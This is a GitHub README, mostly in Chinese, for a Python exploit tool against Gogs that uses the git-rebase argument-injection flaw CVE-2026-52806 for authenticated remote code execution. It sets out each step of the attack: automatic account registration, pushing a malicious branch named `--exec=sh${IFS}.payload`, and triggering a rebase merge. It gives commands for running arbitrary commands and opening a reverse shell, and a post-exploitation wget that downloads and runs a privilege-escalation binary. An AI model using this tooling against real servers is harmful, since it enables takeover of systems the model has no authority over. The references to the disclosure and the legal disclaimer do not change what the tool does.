portbuster1337/CVE-2026-52806

GitHub: portbuster1337/CVE-2026-52806

针对 Gogs Git 服务中 `git rebase` 参数注入漏洞(CVE-2026-52806)的 Python 概念验证工具,实现已认证的远程代码执行。

Stars: 6 | Forks: 1

# Gogs RCE — `git rebase` 中的参数注入 (CWE-88) 通过在 pull request 合并流程中的参数注入,对 Gogs (<= 0.14.2 和 0.15.0+dev) 进行已认证的远程代码执行。 CVE-2026-52806 ## 漏洞详情 `internal/database/pull.go` 中的 `Merge()` 函数在将 PR 的 base 分支 名称传递给 `git rebase` 时,**没有使用 `--` 分隔符**。如果一个分支被命名为 `--exec=`,Git 会将其解析为 `--exec` 标志,而不是一个 位置参数,从而导致 `sh -c ` 在 rebase 期间重放每个 commit 后执行。 ## 漏洞利用工作原理 1. **预检 (Pre-flight)** — 确定目标是否运行 Gogs,通过静态资源上的 `?v=` 参数指纹识别 版本,并检查用户 注册是开放的、受验证码保护的还是被禁用的。 2. **身份验证** — 如果未提供凭据,则尝试 自动注册(无验证码);如果启用了验证码,则打印一条消息, 告诉用户在目标的注册页面上创建一个账户,并 使用 `-u -pw ` 重新运行。通过 Basic auth 或 Web 设置页面创建 API token。 3. **仓库设置** — 通过 Gogs API 创建一个临时的私有仓库,并在设置中启用 *Rebase before merging*。 4. **Git 分支操作** — 在本地初始化一个 git repo,推送: - 一个带有 README 的 `master` 分支 - 一个带有独立 commit 的 `feature-*` 分支 - 一个名为 `--exec=sh${IFS}.payload` 的**恶意分支**,其中包含一个 在后台运行攻击者命令的脚本 5. **Pull request** — 从 feature 分支向恶意的 `--exec=` 分支发起一个 PR。 6. **触发** — 向合并 endpoint 发送 POST 请求,参数为 `merge_style=rebase_before_merging`。Gogs 在内部运行 `git rebase --exec=sh${IFS}.payload`,这会在 每个重放的 commit 执行后执行 payload。 7. **清理** — 删除临时仓库和本地临时文件。 ## 环境要求 - Python 3.6+ - `requests` (`pip install requests`) - 本地安装 `git` ## 用法 ``` python3 gogs.py [options] ``` ### 预检 ``` python3 gogs.py http://target:3000 --preflight-only ``` 报告: - `Registration: ENABLED (no captcha)` — 可以自动注册 - `Registration: ENABLED (CAPTCHA DETECTED)` — 在目标注册页面上手动创建一个账户,然后使用 `-u` / `-pw` 提供凭据 - `Registration: DISABLED` — 需要管理员现有的凭据 ### 运行漏洞利用 ``` # 自动注册 + 运行命令 python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt" # 已有账户 python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami" # Reverse shell python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444 # 已启用 Captcha:在目标的注册页面上创建账户,然后使用 creds python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id" # 如果使用 creds 登录失败,直接传递 session cookie python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id" ``` ### 选项 | 标志 | 描述 | |---|---| | `target` | 主机[:端口] (例如 `47.109.58.140:9000`) | | `-p`, `--port` | HTTP 端口 (默认: 3000) | | `-u`, `--username` | Gogs 用户名 | | `-pw`, `--password` | Gogs 密码 | | `--cookie` | Session cookie 字符串 | | `--cmd` | 在目标上执行的命令 | | `--listener` | Reverse shell 的 `host:port` | | `--lhost` / `--lport` | Reverse shell 的主机和端口 | | `--ssl` | 使用 HTTPS | | `--preflight-only` | 仅运行预检 | ## 后渗透 (Post-Exploitation) 一旦你在目标上获得了 shell,Gogs 进程通常以低权限用户运行(例如 Docker 中的 `git`)。要尝试提权 到 root,请从项目的 releases 页面下载并运行 [lpe-toolkit](https://github.com/portbuster1337/lpe-toolkit) 二进制文件: ``` # 从你的 shell 会话中: wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64 chmod +x lpe-toolkit-linux-amd64 ./lpe-toolkit-linux-amd64 ``` 该工具包会枚举内核漏洞、错误配置以及其他常见的 提权向量。 ## 参考 - **Rapid7 博客文章** — [通过 Gogs 中的参数注入实现已认证的 RCE(未修复)](https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed/) - **Metasploit 模块** — Rapid7 的 `exploit/multi/http/gogs_rebase_rce` 作者:Jonah Burgess (CryptoCat) ([PR #21515](https://github.com/rapid7/metasploit-framework/pull/21515)) - **GHSA** — `qf6p-p7ww-cwr9` (gogs/gogs) - **Gogs** — https://github.com/gogs/gogs 此 Python PoC 的灵感来自已发布的 Metasploit 模块。该 漏洞由 Rapid7 的 Jonah Burgess (CryptoCat) 发现并负责披露。 ## 免责声明 本工具仅供教育目的和授权的安全测试 使用。未经授权对你不拥有或未获得明确 测试许可的系统进行使用是违法的。作者不对任何滥用 或本软件造成的损害负责。 ## 注意 Gogs API 不支持 token 删除,因此在漏洞利用期间创建的任何 API 访问 token 都将保留,必须手动 在目标实例的 `/user/settings/applications` 中删除。
标签:CISA项目, Python, 安全, 无后门, 超时处理, 逆向工具